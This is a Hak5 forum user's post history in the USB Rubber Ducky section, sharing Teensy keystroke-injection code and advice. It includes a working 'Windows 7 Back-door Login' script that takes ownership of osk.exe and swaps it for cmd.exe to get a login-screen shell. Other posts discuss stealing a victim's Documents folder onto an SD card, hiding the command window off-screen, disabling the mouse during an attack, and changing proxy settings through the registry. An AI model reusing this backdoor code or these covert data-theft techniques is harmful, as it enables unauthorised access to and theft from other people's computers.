Jump to content

benownzu93

Active Members
 View Profile  See their activity

  • Posts

    48

  • Joined

  • Last visited

 Content Type 

Posts posted by benownzu93

    Hak5 Darknet?

    in Hak5

    Posted · Edited by benownzu93

    Should we be looking for something in this episode?

    http://www.hak5.org/tag/eef5204d6a

    he say something like "or actually the new wiki cause I have a provider with the thing, were gonna get that up for the community it'a all coming back together with these guys and the eef5204d6a" about 45:30

    [Version 1] White Hat Examples?

    in Classic USB Rubber Ducky

    Posted

    The first one I would include is just running a command or opening command prompt.

    void setup(){
  run("cmd");
}  
void loop(){
    digitalWrite(PIN_D6, LOW);
    delay(1000);   
    digitalWrite(PIN_D6, HIGH);
    delay(1000);
}

void run(char *command){
  delay(100);
  Keyboard.set_modifier(MODIFIERKEY_GUI);
  Keyboard.set_key1(KEY_R);
  Keyboard.send_now();
  Keyboard.set_modifier(0);
  Keyboard.set_key1(0);
  Keyboard.send_now();
  delay(400);
  Keyboard.print(command);
  delay(200);
  enter();
}
void enter(){
  Keyboard.set_key1(KEY_ENTER);
  Keyboard.send_now();
  Keyboard.set_key1(0);
  Keyboard.send_now();
}

    [Version 1] Covering The Teensy's Tracks

    in Classic USB Rubber Ducky

    Posted

    You could try this, it takes a screen shot then make it full screen using paint :P

    void setup(){
  delay(8000);
  prtsc();
  delay(50);
  run("%windir%/system32/mspaint.exe");
  delay(700);
  ctrlv();
  delay(200);
  esc();
  delay(200);
  feleven();
}
void loop(){
  digitalWrite(PIN_D6, LOW);    
  delay(random(1000));
  digitalWrite(PIN_D6, HIGH);
  delay(random(1000));
}

void prtsc(){
  Keyboard.set_key1(KEY_PRINTSCREEN);
  Keyboard.send_now();
  Keyboard.set_key1(0);
  Keyboard.send_now();
}
void enter(){
  Keyboard.set_key1(KEY_ENTER);
  Keyboard.send_now();
  Keyboard.set_key1(0);
  Keyboard.send_now();
}
void run(char *command){
  delay(100);
  Keyboard.set_modifier(MODIFIERKEY_GUI);
  Keyboard.set_key1(KEY_R);
  Keyboard.send_now();
  Keyboard.set_modifier(0);
  Keyboard.set_key1(0);
  Keyboard.send_now();
  delay(400);
  Keyboard.print(command);
  delay(400);
  enter();
}
void ctrlv(){
  Keyboard.set_modifier(MODIFIERKEY_CTRL);
  Keyboard.set_key1(KEY_V);
  Keyboard.send_now();
  Keyboard.set_modifier(0);
  Keyboard.set_key1(0);
  Keyboard.send_now();
}

void feleven(){
  Keyboard.set_key1(KEY_F11);
  Keyboard.send_now();
  Keyboard.set_key1(0);
  Keyboard.send_now();
}
void esc(){
  Keyboard.set_key1(KEY_ESC);
  Keyboard.send_now();
  Keyboard.set_key1(0);
  Keyboard.send_now();
}

    [Version 1] Document Steal

    in Classic USB Rubber Ducky

    Posted

    Thats a great idea actually. What I had Teensy do originally was once its on the terminal, it will make a quick zip file of the Documents folder, then moves it to an SD card and then close the terminal. This is just me assuming that the Document folder is on my home directory. However, what if the user has a document folder on desktop and it couldn't find the Document folder on its home directory. Thus, I suppose Teensy can't read the output of the terminal saying something like: no folder found, no permission... ? This would not work for me then. :( Do you have any recommendations? You said that Teensy can read cap locks and other key presses, do you know where the library is located? And thank you for your suggestions, I will go check out irongeek's website again to see if he has any new posts. :]

    Bits1

    Yeah , I tend to have a load of documents all over the place tbh don't use my documents too much. so a search is likely to work better.

    Nope the Teensy can not read a terminal output

    If you used Iorngeeks phukd library you can use the code "int ledkeys(void)" if you don't wan to use his library best thing to do would be ask him or download his library and have a look inside to see how it works.

    [Version 1] Document Steal

    in Classic USB Rubber Ducky

    Posted

    I just have some trouble coming up with the right way to program Teensy to look for these files if they are not in the current directory. If the files i'm looking for is on the Desktop but I'm currently on the user's files on the Terminal, how would I plan this so Teensy know where to go?

    Is there anyway we can get Teensy to READ inputs from the computer and carry out certain commands based on the what it receives? Thanks alot!!! :)

    Bits1

    Hi

    Im not to good with osx, but could you do a search of the whole hard disk for say .doc .xls .ppt .html .txt and so on then make a copy of those files. you might need to do it using the GUI

    You can set the Teensy to read the caps lock num lock and scroll lock keys, best to look on iorngeeks website for an example this.

    [Version 1] Document Steal

    in Classic USB Rubber Ducky

    Posted

    I have done something like what you had, take the user's document, zip it, and save it to external memory (will be inside sd card but I dont own one at the moment so it saves it onto desktop). However, I wonder about what if this certain document is located elsewhere? How would we be able to get Teensy to find it and steal it?

    You may a problem making it find the drive, cos drive letters change depending on the computer.

    I guess Your working on linux?

    [Version 1] Windows 7 Back-door Login

    in Classic USB Rubber Ducky

    Posted

    If you have plenty of time behind a pc when it's locked, logged off or shut down. But only A few seconds when it logged in, this code will allow you to change the users password or run any command at the login screen.

    This works by replacing an ease of access tool with command prompt I used the on screen keyboard (osk.exe) in this code but you can also use Magnify.exe or Utilman.exe

    When you have run this while the computer is logged in, you will be able to open the ease of access menu on the login screen and select the tool you have replaced with cmd. if you have replaced Utilman then cmd will popup when you click the ease of access button.

    void setup() {
  delay(7000);
  cmd();
  delay(4000);
  uac();
  delay(1000);
  Keyboard.print("takeown /f osk.exe /a");
  enter();
  Keyboard.print("cacls osk.exe /p %username%:F");
  enter();
  Keyboard.print("Y");
  enter();
  Keyboard.print("takeown /f cmd.exe /a");
  enter();
  Keyboard.print("cacls cmd.exe /p %username%:F");
  enter();
  Keyboard.print("Y");
  enter();
  Keyboard.print("ren osk.exe osk_.exe");
  enter();
  Keyboard.print("xcopy cmd.exe osk.exe");
  enter();
  Keyboard.print("f");
  enter();
  Keyboard.print("exit");
  enter();
} 

void loop() {
    digitalWrite(PIN_D6, LOW);   // LED on
    delay(random(1000));                  // Slow blink
    digitalWrite(PIN_D6, HIGH);  // LED off
    delay(random(1000));
}
void cmd(){
  Keyboard.set_modifier(MODIFIERKEY_GUI);
  Keyboard.send_now();
  Keyboard.set_modifier(0);
  Keyboard.send_now();
  Keyboard.print("cmd");
  delay(700);
  Keyboard.set_modifier(MODIFIERKEY_CTRL | MODIFIERKEY_SHIFT);
  Keyboard.set_key1(KEY_ENTER);
  Keyboard.send_now();
  Keyboard.set_modifier(0);
  Keyboard.set_key1(0);
  Keyboard.send_now();
  delay(100);
}
void uac(){
  Keyboard.set_key1(KEY_LEFT);
  Keyboard.send_now();
  Keyboard.set_key1(0);
  Keyboard.send_now();
  enter();
}
void enter(){
  Keyboard.set_key1(KEY_ENTER);
  Keyboard.send_now();
  Keyboard.set_key1(0);
  Keyboard.send_now();
  delay(100);
}

    I have tested all the all the steps but not run this code on my ducky yet, i don't have time to reset all the permissions on the files.

    Please test it and let me know what you think.

    [Version 1] Brainstorming

    in Classic USB Rubber Ducky

    Posted · Edited by benownzu93

    Some Good Ideas. I Really Like this one :P

    Rick Rolling

    --Edit--

    I just had to do it

    void setup(){
  delay(3000);
  run("http://www.youtube.com/watch?v=EK2tWVj6lXw");
  delay(500);
  run("notepad.exe");
  delay(700);
}  
void loop(){
  Mouse.move(-127, -127);
  echo("YOU HAVE BEEN RICK ROLLED");
  enter();
}
  void enter(){
  Keyboard.set_key1(KEY_ENTER);
  Keyboard.send_now();
  Keyboard.set_key1(0);
  Keyboard.send_now();
}
void run(char *command){
  delay(100);
  Keyboard.set_modifier(MODIFIERKEY_GUI);
  Keyboard.set_key1(KEY_R);
  Keyboard.send_now();
  Keyboard.set_modifier(0);
  Keyboard.set_key1(0);
  Keyboard.send_now();
  delay(400);
  Keyboard.print(command);
  delay(400);
  enter();
  command =0;
}

    [Version 1] [code][windows] Create New Admin Account In Windows.

    in Classic USB Rubber Ducky

    Posted

    if you know a way to fix it, feel free to add to it....

    The best way to do it is to find cmd in the start menu then use ctrl+shift and enter to run as admin, you also need to send left and enter to accept the UAC, I did something like this here

    Are you sure that it will work on XP? I've just tried the raw commands and it failed. It's not possible for a Limited user to create a user account via net user

    Very good point.

    I use my laptop whilst logged on as a Limited user. I rarely log on with Admin rights, preferring to use runas /user:.....

    You are smart, but dumb users aren't that smart. so it will still work for most common users.

    [Version 1] Better Cmd.exe Run Command In Windows For Ducky

    in Classic USB Rubber Ducky

    Posted · Edited by benownzu93

    Also you could add this code (Only if you use psychosis's PsyDuk framework) :

    void PDMoveOffScreen(uint8_t amountOfMoves)
{

PDKeypressWithModifier(KEY_SPACE, KEY_ALT);
PDDelay(10);

PDTypeString(PSTR("M"));
PDDelay(10);
    PDKeypressRepeated_Alt(KEY_LEFT,amountOfMoves);
    PDDelay(10);
    PDKeypress(KEY_ENTER);     


}

void PDKeypressRepeated_Alt(uint8_t key, uint8_t amountOfTimes)
{
    for(uint8_t i=0; i < amountOfTimes; i++)
    {
        PDKeypress(key);
        PDDelay(2);
    }
}

    Then in your Main() function after calling the cmd.exe use:

    PDMoveOffScreen(50);

    The only problem is if they move their mouse while it is moving.. they can essentially just drag the window back. In my code i use devcon.exe to disable the mouse device while it is moving & reenable it once the commands are finished.

    That's just what I was working on :D ,I'm using arduino not c but it's not too hard to translate between them them. Also i like the devcon idea, time to make a full on payload :P

    --Edit--

    I just came across this, don't know if it will be any good http://www.apps4apps.filetap.com/nomousy.html

    [Version 1] Little Help

    in Classic USB Rubber Ducky

    Posted

    Yeah I needed to remove the quotes. It would not recognize uint8_t. But it works with char not char* so this works now.

    void setup(){
delay(3000);
ctrlcombo(KEY_A);
}

void ctrlcombo(char ctrlkey){
Keyboard.set_modifier(MODIFIERKEY_CTRL);
Keyboard.set_key1(ctrlkey);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.send_now();
}

    I can't test because I'm at work. Speaking of which I got a meeting in 5 min.

    haha, I was at school when I posted this topic, exams mean that teacher is a bit to busy to help me with this at the moment.

    Thanks for your help.

    [Version 1] Little Help

    in Classic USB Rubber Ducky

    Posted

    this is some of my code

    void setup(){
  delay(3000);
  ctrlcombo("KEY_A");
}

void ctrlcombo(char* ctrlkey){
  Keyboard.set_modifier(MODIFIERKEY_CTRL);
  Keyboard.set_key1(ctrlkey);
  Keyboard.send_now();
  Keyboard.set_modifier(0);
  Keyboard.set_key1(0);
  Keyboard.send_now();
}

    I get this error "invalid conversion from 'char*' to 'uint8_t'" can any one help me?

    [Version 1] Proxy

    in Classic USB Rubber Ducky

    Posted · Edited by benownzu93

    HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings

    ProxyEnable and ProxyServer are the values you need to edit

    but you do need to reboot, i just tried it.

    --edit--

    if you set ProxyEnable to 1 then it has no affect, but if you go to the proxy settings box it is ticked on after you apply it takes affect.

×
×
  • Create New...